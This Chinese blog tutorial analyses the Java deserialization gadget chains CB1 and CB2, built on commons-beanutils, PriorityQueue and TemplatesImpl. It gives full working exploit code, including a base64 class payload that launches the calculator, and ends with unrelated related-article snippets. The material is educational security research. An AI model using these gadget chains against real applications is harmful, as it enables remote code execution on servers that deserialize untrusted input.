爆赞好文之java反序列化之CB超详细易懂分析

java反序列化之CB超详细易懂分析

  • CB1
    • 环境搭建
    • 前言
    • 分析
      • PropertyUtils
      • BeanComparator
      • PriorityQueue
  • CB2
    • 环境搭建
    • 前言
    • exp

CB1

环境搭建

pom.xml

    <dependencies><dependency><groupId>commons-beanutils</groupId><artifactId>commons-beanutils</artifactId><version>1.9.2</version></dependency><dependency>`   1<groupId>commons-logging</groupId><artifactId>commons-logging</artifactId><version>1.2</version></dependency></dependencies>

jdk1.8.0_65

前言

CB链主要是通过优先队列和TemplatesImpl类完成的,如果你学习了CC链,这个链子就是得心应手

分析

在怎么触发我们的TemplatesImpl的动态加载字节码的时候,这里我们不再选择触发newtransfrom,我们选择getoutputProperties方法,因为它是个getter方法

PropertyUtils

这个类相信已经很熟悉了,我们看到它的getProperty方法,这个方法详细追究的话可以获取传入对象的getter方法

    public static Object getProperty(Object bean, String name)throws IllegalAccessException, InvocationTargetException,NoSuchMethodException {return (PropertyUtilsBean.getInstance().getProperty(bean, name));}

现在来调试分析一下
例子代码

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;public class CB1 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException {byte[] code = Base64.getDecoder().decode("恶意代码");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "xxx");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{code});PropertyUtils.getProperty(templates,"outputProperties");}public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {Class<?> clazz = obj.getClass();Field fieldName = clazz.getDeclaredField(field);fieldName.setAccessible(true);fieldName.set(obj, value);}
}

首先我们进入到

 return (PropertyUtilsBean.getInstance().getProperty(bean, name));

PropertyUtilsBean的getPropert方法

public Object getProperty(Object bean, String name)throws IllegalAccessException, InvocationTargetException,NoSuchMethodException {return (getNestedProperty(bean, name));}

然后进入到getNestedProperty方法

public Object getNestedProperty(Object bean, String name)throws IllegalAccessException, InvocationTargetException,NoSuchMethodException {if (bean == null) {throw new IllegalArgumentException("No bean specified");}if (name == null) {throw new IllegalArgumentException("No name specified for bean class '" +bean.getClass() + "'");}// Resolve nested referenceswhile (resolver.hasNested(name)) {String next = resolver.next(name);Object nestedBean = null;if (bean instanceof Map) {nestedBean = getPropertyOfMapBean((Map<?, ?>) bean, next);} else if (resolver.isMapped(next)) {nestedBean = getMappedProperty(bean, next);} else if (resolver.isIndexed(next)) {nestedBean = getIndexedProperty(bean, next);} else {nestedBean = getSimpleProperty(bean, next);}if (nestedBean == null) {throw new NestedNullException("Null property value for '" + name +"' on bean class '" + bean.getClass() + "'");}bean = nestedBean;name = resolver.remove(name);}if (bean instanceof Map) {bean = getPropertyOfMapBean((Map<?, ?>) bean, name);} else if (resolver.isMapped(name)) {bean = getMappedProperty(bean, name);} else if (resolver.isIndexed(name)) {bean = getIndexedProperty(bean, name);} else {bean = getSimpleProperty(bean, name);}return bean;}

因为我们的if都不成立,会来到getSimpleProperty(bean, name);
然后这个方法也是会经历一些if判断来到重点代码部分

PropertyDescriptor descriptor =getPropertyDescriptor(bean, name);if (descriptor == null) {throw new NoSuchMethodException("Unknown property '" +name + "' on class '" + bean.getClass() + "'" );}Method readMethod = getReadMethod(bean.getClass(), descriptor);if (readMethod == null) {throw new NoSuchMethodException("Property '" + name +"' has no getter method in class '" + bean.getClass() + "'");}

首先getPropertyDescriptor获取到我们的name就是
在这里插入图片描述
然后来到下一步

Method readMethod = getReadMethod(bean.getClass(), descriptor);

看名字都知道是获取bean类的方法
我们跟入进去获取到了getoutputproperties方法在这里插入图片描述

来到

Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);

一看名字就是触发了,这样一来就触发了我们TemplatesImpl的getoutputProperties方法,然后加载我们的恶意代码

就分析完了是怎么去触发我们getter方法的
下面来到一个新的问题,是怎么触发我们PropertyUtils.getProperty方法的

BeanComparator

看到它的compare方法

public int compare( T o1, T o2 ) {if ( property == null ) {// compare the actual objectsreturn internalCompare( o1, o2 );}try {Object value1 = PropertyUtils.getProperty( o1, property );Object value2 = PropertyUtils.getProperty( o2, property );return internalCompare( value1, value2 );}catch ( IllegalAccessException iae ) {throw new RuntimeException( "IllegalAccessException: " + iae.toString() );}catch ( InvocationTargetException ite ) {throw new RuntimeException( "InvocationTargetException: " + ite.toString() );}catch ( NoSuchMethodException nsme ) {throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );}}
Object value1 = PropertyUtils.getProperty( o1, property );

就恰好可以,我们试着操作一下

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;public class CB1 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException {byte[] code = Base64.getDecoder().decode("恶意代码");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "xxx");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{code});BeanComparator beanComparator= new BeanComparator("outputProperties");beanComparator.compare(templates,templates);}public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {Class<?> clazz = obj.getClass();Field fieldName = clazz.getDeclaredField(field);fieldName.setAccessible(true);fieldName.set(obj, value);}
}

运行确实弹出了计算器

那怎么触发compare方法呢?

PriorityQueue

还是我们的老朋友,readobject会一路触发到siftDownUsingComparator,然后调用我们的comparator.compare方法

    private void siftDownUsingComparator(int k, E x) {int half = size >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = queue[child];int right = child + 1;if (right < size &&comparator.compare((E) c, (E) queue[right]) > 0)c = queue[child = right];if (comparator.compare(x, (E) c) <= 0)break;queue[k] = c;k = child;}queue[k] = x;}

所以我们只需要反序列化它就好了

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;public class CB1 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException {byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "xxx");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{code});//        1.PropertyUtils.getProperty(templates,"outputProperties");//       2. BeanComparator beanComparator= new BeanComparator("outputProperties");
//        beanComparator.compare(templates,templates);BeanComparator comparator = new BeanComparator();PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);queue.add(1);queue.add(2);setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数setFieldValue(comparator,"property","outputProperties");ByteArrayOutputStream bos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(bos);oos.writeObject(queue);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));ois.readObject();}public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {Class<?> clazz = obj.getClass();Field fieldName = clazz.getDeclaredField(field);fieldName.setAccessible(true);fieldName.set(obj, value);}
}

当然这里有几个问题你可能很疑惑
1.为什么我需要先add无关紧要的东西

我前面讲cc2已经讲过,你可以去看看

2.为什么长度必须为2呢?
因为size要大于2才能比较啊,比较肯定是两个啊,不能自己和自己比

CB2

环境搭建

这就不需要我们的cc依赖了

前言

为什么会出现CB2,因为CB1还是需要cc依赖的,而我们的cb2根本不需要cc的依赖就能够实现我们的反序列化了

exp

就不分析了

public class CB2 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {byte[] code = Base64.getDecoder().decode("y...CABc=");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "xxx");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{code});//先传入property为空,防止add时触发PropertyUtils.getProperty()BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);PriorityQueue queue = new PriorityQueue(2, comparator);//此处应将CB1中传入的1,2改为String类型,不然会报java.lang.Integer cannot be cast to java.lang.Stringqueue.add("1");queue.add("2");setFieldValue(comparator,"property","outputProperties");setFieldValue(queue,"queue",new Object[]{templates,templates});ByteArrayOutputStream bos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(bos);oos.writeObject(queue);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));ois.readObject();}public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {Class<?> clazz = obj.getClass();Field fieldName = clazz.getDeclaredField(field);fieldName.setAccessible(true);fieldName.set(obj, value);}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3015852.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

生成gitee公钥

1、打开设置 2、设置SSH公钥 3、生成公钥 4、复制终端输出的公钥&#xff0c;放到这里&#xff0c;标题随便取。 5、测试 ssh -T gitgitee.com 最后用这个测试

IT 项目管理介绍和资料汇总

IT项目管理到底是什么&#xff1f;是对组织承担的任何信息技术项目的成功监督。IT项目经理负责规划、预算、执行、领导、故障排除和维护这些项目。IT项目经理可能会做的事情包括&#xff1a; 1、硬件安装 2、软件、网站和应用程序开发 3、网络和云计算解决方案的升级和/或推出…

软考中级-软件设计师(八)算法设计与分析 考点最精简

一、算法设计与分析的基本概念 1.1算法 算法&#xff08;Algorithm&#xff09;是对特定问题求解步骤的一种描述&#xff0c;有5个重要特性&#xff1a; 有穷性&#xff1a;一个算法必须总是在执行又穷步骤后结束&#xff0c;且每一步都可在又穷时间内完成 确定性算法中每一…

KAN: Kolmogorov–Arnold Networks

KAN: Kolmogorov–Arnold Networks 论文链接&#xff1a;https://arxiv.org/abs/2404.19756 代码链接&#xff1a;https://github.com/KindXiaoming/pyKAN 项目链接&#xff1a;https://kindxiaoming.github.io/pyKAN/intro.html Abstract 受Kolmogorov-Arnold表示定理的启…

访问网络附加存储:nfs

文章目录 访问网络附加存储一、网络附加存储1.1、存储类型1.3、通过NFS挂载NAS1.4、NFS挂载过程服务端客户端 二、实验&#xff1a;搭建NFS服务端及挂载到nfs客户端服务端客户端测试命令合集服务端客户端 访问网络附加存储 一、网络附加存储 1.1、存储类型 DAS&#xff1a;Di…

mysql的数据结构及索引使用情形

先来说下数据的一般存储方式&#xff1a;内存(适合小数据量)、磁盘(大数据量)。 磁盘的运转方式&#xff1a;速度 旋转&#xff0c;磁盘页的概念&#xff1a;每一页大概16KB。 1、存储结构 哈希 是通过hash函数计算出一个hash值的&#xff0c;哈希的优点就是查找的时间复杂度…

图片编辑工具-Gimp

一、前言 GIMP&#xff08;GNU Image Manipulation Program&#xff09;是一款免费开源的图像编辑软件&#xff0c;具有功能强大和跨平台的特性。 GIMP作为一个图像编辑器&#xff0c;它提供了广泛的图像处理功能&#xff0c;包括但不限于照片修饰、图像合成以及创建艺术作品…

SpringMVC响应数据

三、SpringMVC响应数据 3.1 handler方法分析 理解handler方法的作用和组成&#xff1a; /*** TODO: 一个controller的方法是控制层的一个处理器,我们称为handler* TODO: handler需要使用RequestMapping/GetMapping系列,声明路径,在HandlerMapping中注册,供DS查找!* TODO: ha…

【notepad++】使用

1 notepad 下载路径 https://notepad-plus.en.softonic.com/download 2 设置护眼模式 . 设置——语言格式设置——前景色——黑色 . 背景色——RGB &#xff1a;199 237 204 . 勾选“使用全局背景色”、“使用全局前景色” . 保存并关闭

Python专题:二、Python小游戏,体验Python的魅力

希望先通过一个小的游戏让大家先对Python感兴趣&#xff0c;兴趣是最好的老师。 小游戏的运行结果&#xff1a; 1、在sublime编辑器里面写如下代码&#xff1a; import randomnum random.randint(1, 100) # 获得一个随机数 is_done False # 是否猜中的标记 count 0 # 玩…

软件设计师-应用技术-数据结构及算法题4

考题形式&#xff1a; 第一题&#xff1a;代码填空 4-5空 8-10第二题&#xff1a;时间复杂度 / 代码策略第三题&#xff1a;拓展&#xff0c;跟一组数据&#xff0c;把数据带入代码中&#xff0c;求解 基础知识及技巧&#xff1a; 1. 分治法&#xff1a; 基础知识&#xff1…

美易官方:英伟达业绩将难以撑起股价?

美股市场似乎总是对各大公司的业绩表现抱有极大的期待&#xff0c;就像一个永远填不饱的“巨胃”。在这样的市场环境下&#xff0c;即使是业绩骄人的公司也可能难以支撑其股价。英伟达&#xff0c;这家在图形处理单元&#xff08;GPU&#xff09;领域享有盛誉的公司&#xff0c…

语音识别--kNN语音指令识别

⚠申明&#xff1a; 未经许可&#xff0c;禁止以任何形式转载&#xff0c;若要引用&#xff0c;请标注链接地址。 全文共计3077字&#xff0c;阅读大概需要3分钟 &#x1f308;更多学习内容&#xff0c; 欢迎&#x1f44f;关注&#x1f440;【文末】我的个人微信公众号&#xf…

英语学习笔记5——Nice to meet you.

Nice to meet you. 很高兴见到你。 词汇 Vocabulary Mr. 先生 用法&#xff1a;自己全名 / 姓 例如&#xff1a;Mr. Zhang Mingdong 或 Mr. Zhang&#xff0c;绝对不能是 Mr. Mingdong&#xff01; Miss 女士&#xff0c;小姐 未婚 用法&#xff1a;自己全名 / 姓 例如&#…

ESP32 IDF linux下开发环境搭建

文章目录 介绍升级Python环境下载Python包配置编译环境及安装Python设置环境变量 ESPIDF环境搭建下载esp-idf 代码编译等待下载烧录成功查看串口打印 介绍 esp32 官方文档给的不是特别详细 参考多方资料 最后才完成开发 主要问题在于github下载的很慢本教程适用于ubuntu deban…

跨境支付行业研究

1. 行业基本情况 随着全球人均购买力增强、互联网普及率提升、支付渠道的进一步成熟、物流等配套设施的完善&#xff0c;网络购物已经成为全球兴起的消费习惯。另一方面&#xff0c;跨境电商对传统贸易的替代已经成为趋势。跨境电商在交易成本和便利程度上都有明显的优势 图1 …

《我的医养信息化之路》之三十二:中医馆

今年五一节的气候有点冷&#xff0c;走到小区又湿又暗的、寂静的小道上&#xff0c;树上的雨水滴到头上&#xff0c;不免感到孤独而寒冷。还好路很短&#xff0c;很快就回到办公室&#xff0c;开了电灯和电脑&#xff0c;刚刚的冷意已经消失了&#xff0c;我开始审核今天中医馆…

C++ 数据内存分布揭秘:从栈到堆的探索之旅

目录 1. 栈(Stack) 2. 堆(Heap) malloc和new的区别 堆与栈在C中的异同点详解 3. 数据段(Data Segment) 4. 代码段(Code Segment) 5. 动态内存分配的陷阱 当我们谈论C编程时&#xff0c;对内存布局的理解至关重要。本文将深入探讨C中各种变量和数据结构在内存中的分布情况…

企业加密软件有哪些:企业加密软件排行榜|常用分享汇集

在当前的数字化时代&#xff0c;数据的安全性成为了企业运营中至关重要的一环。因此&#xff0c;企业加密软件的需求也日益增长。在这个竞争激烈的市场中&#xff0c;各大加密软件厂商纷纷推出自己的产品&#xff0c;以满足企业的不同需求。 首先是Ping32加密软件。Ping32文件加…

【牛客】排列计算

原题链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 目录 1. 题目描述 2. 思路分析 3. 代码实现 1. 题目描述 2. 思路分析 如果直接涂色来计算单点权重&#xff0c;2e5*2e5必然超时。 所以用差分进行优化。 3. 代码实现 #include<bits/stdc.h> using name…